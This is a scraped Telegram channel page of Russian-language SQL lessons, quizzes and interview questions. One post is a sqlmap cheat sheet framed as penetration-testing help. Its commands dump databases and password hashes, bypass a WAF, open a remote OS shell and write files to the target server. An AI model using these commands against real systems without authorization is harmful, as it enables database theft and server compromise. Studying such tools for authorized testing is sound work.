SQL и БД Learning – Telegram
SQL и БД Learning
10.2K subscribers
797 photos
9 videos
22 files
445 links
№ 5060218708

Изучаем SQL с нуля

По всем вопросам @mascarov_valentin

Реклама на бирже - https://telega.in/c/SQl_and_DB_Learning
Download Telegram
Какой из следующих SQL запросов выберет первые 10% записей таблицы, отсортированные по колонке "sales" в порядке убывания?
Anonymous Quiz
30%
SELECT * FROM table WHERE sales > (SELECT MAX(sales) FROM t) * 0.1 ORDER BY sales DESC;
11%
SELECT * FROM table WHERE sales > (SELECT MIN(sales) FROM t) * 0.1 ORDER BY sales DESC LIMIT 10%;
14%
SELECT * FROM t WHERE sales > (SELECT AVG(sales) FROM t) * 0.1 ORDER BY sales DESC LIMIT 10;
46%
SELECT * FROM t ORDER BY sales DESC LIMIT 10%
👍16
#Вопросы_с_собеседования

В чем разница между кластерными и некластеризованными индексами?

Ответ на картинке.
👍6
Извлекаем имя из адреса электронной почты

Где "YourTable" - это название вашей таблицы, содержащей столбец с адресами электронной почты.

Этот запрос использует функцию "LEFT", чтобы извлечь часть строки до символа "@", а функция "CHARINDEX" используется для нахождения позиции символа "@". Результат запроса будет содержать столбец с именами, извлеченными из адресов электронной почты.
👍22🔥1
Друзья, на связи ваш админ.
Я тут сделал бота для знакомств @tinder. Буду рад, если вы оцените и воспользуетесь. Если буду какие-то замечания, пишите, буду благодарен)
😁7
Как полностью очистить таблицу sql

Полностью очистить таблицу, не удаляя её можно с помощью запроса DELETE. Мы указываем имя таблицы, но опускаем блок WHERE. Тогда удаляются абсолютно все записи, вне зависимости от условий.

DELETE FROM wiped_table_name;
-- Мы очистили таблицу wiped_table_name


Кроме DELETE без условий можно использовать TRUNCATE. У неё есть свои особенности. Самая главная, она быстрее DELETE, так как не сканирует таблицы перед очисткой и наиболее полезна для очистки больших таблиц.

TRUNCATE cars, cups, parrots;
-- Тут можно перечислять сколько угодно таблиц
👍6🎄3😁2
#Вопросы_с_собеседования

Удержание пользователей в месяц

Контекст: допустим, у нас есть статистика по авторизации пользователей на сайте в таблице logins:

| user_id | date |
|---------|------------|
| 1 | 2018-07-01 |
| 234 | 2018-07-02 |
| 3 | 2018-07-02 |
| 1 | 2018-07-02 |
| ... | ... |
| 234 | 2018-10-04 |

Задача: написать запрос, который получает количество удержанных пользователей в месяц. В нашем случае данный параметр определяется как количество пользователей, которые авторизовались в системе и в этом, и в предыдущем месяце.

Решение:

SELECT
DATE_TRUNC('month', a.date) month_timestamp,
COUNT(DISTINCT a.user_id) retained_users
FROM
logins a
JOIN
logins b ON a.user_id = b.user_id
AND DATE_TRUNC('month', a.date) = DATE_TRUNC('month', b.date) +
interval '1 month'
GROUP BY
date_trunc('month', a.date)
👍8🎄1
#Вопросы_с_собеседования

Выберите из таблицы workers все записи так, чтобы вместо id было userId, вместо login – userLogin, вместо salary - userSalary

Ответ на картинке.
😁7👍5❤‍🔥1
#Вопросы_с_собеседования

Объясните различные типы нормализации

Существует много последовательных уровней нормализации. Это так называемые нормальные формы. Каждая последующая нормальная форма включает предыдущую. Первых трех нормальных форм обычно достаточно.

Первая нормальная форма (1NF) — нет повторяющихся групп в строках
Вторая нормальная форма (2NF) — каждое неключевое (поддерживающее) значение столбца зависит от всего первичного ключа
Третья нормальная форма (3NF) — каждое неключевое значение зависит только от первичного ключа и не имеет зависимости от другого неключевого значения столбца
👍10
#Вопросы_с_собеседования

Получите SQL запросом все возрасты без дублирования

Ответ картинке.
👍7😁5🎄1
DROP COLUMN

Чтобы удалить определенный столбец из таблицы, мы сделаем следующее.
👍7
SQL — Числовые функции. Подробная шпаргалка.

Смотреть
👍8🔥1
#Вопросы_с_собеседования

Переименуйте таблицу table2 в table3

Ответ на картинке.
👍10
#Вопросы_с_собеседования

Вывести список клиентов, сделавших заказы в период с 1 января 2020 года по 31 декабря 2020 года

Ответ на картинке.
👍9❤‍🔥5
#Вопросы_с_собеседования

Выберите из таблицы workers все записи за первую декаду любого месяца 2016 года

Ответ на картинке.
👍14
🔐 Шпаргалка по использованию sqlmap

SQLMAP — это инструмент для проникновения с открытым исходным кодом.

SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .

Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.

🌟 Базовый скан URL на наличие уязвимостей:

sqlmap -u "http://example.com/page.php?id=1"


🌟 Автоматический дамп всех баз данных:

sqlmap -u "http://example.com/page.php?id=1" --dbs


🌟 Извлечение таблиц из конкретной базы данных:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables


🌟 Извлечение данных из конкретной таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump


🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:

sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"


🌟 Подбор базы данных и получение информации о пользователях:

sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user


🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:

sqlmap -u "http://example.com/page.php?id=1" --os-shell


🌟 Выполнение SQL-запросов вручную:

sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"


🌟 Проверка на возможность подключения с правами администратора:

sqlmap -u "http://example.com/page.php?id=1" --is-dba


🌟 Брутфорсирование паролей пользователей:

sqlmap -u "http://example.com/page.php?id=1" --passwords


🌟 Загрузка файла на удаленный сервер:

sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"


🌟 Получение списка столбцов из таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns


🌟 Использование прокси-сервера:

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"


🌟 Определение используемой базы данных и версии:

sqlmap -u "http://example.com/page.php?id=1" --banner


🌟 Атака на POST-запросы (если параметры передаются в теле):

sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍4
Задача

Выбрать все записи из таблицы tbl_name и отсортировать их по полю id в обратном порядке.
👍10
Каким образом можно получить список клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев?

Для получения списка клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев, можно использовать подзапросы и агрегатные функции.

Надежный подход к решению этой задачи включает подзапрос, который связывается с основной таблицей по идентификатору клиента (customer_id). В подзапросе используется агрегатная функция COUNT() для подсчета количества уникальных месяцев, в которых клиент сделал заказ, и группировка по месяцу (MONTH()). Затем условие HAVING применяется к подзапросу для определения, что клиент сделал заказ во всех трех месяцах.
1👍12
#Вопросы_с_собеседования

При выборке из таблицы workers выведите дату в формате '31.12.2025'

Ответ на картинке.
👍10
Создание поля, объединяющего имя и зарплату в выборке из таблицы пользователей

Для создания поля, которое будет включать в себя и имена, и зарплату, можно использовать функцию CONCAT(). Она объединяет две или более строковые величины в одну строку.

Пример SQL-запроса для создания поля new_field на фото.

В примере мы выбираем таблицу users и создаем новое поле с помощью функции CONCAT(). Внутри функции указываем два поля, которые хотим объединить - name и salary. Также задаем новое имя для созданного поля - new_field, используя AS.

Теперь в результате выполнения запроса в выборке будет присутствовать новое поле new_field, которое будет содержать имя пользователя и его зарплату.
👍8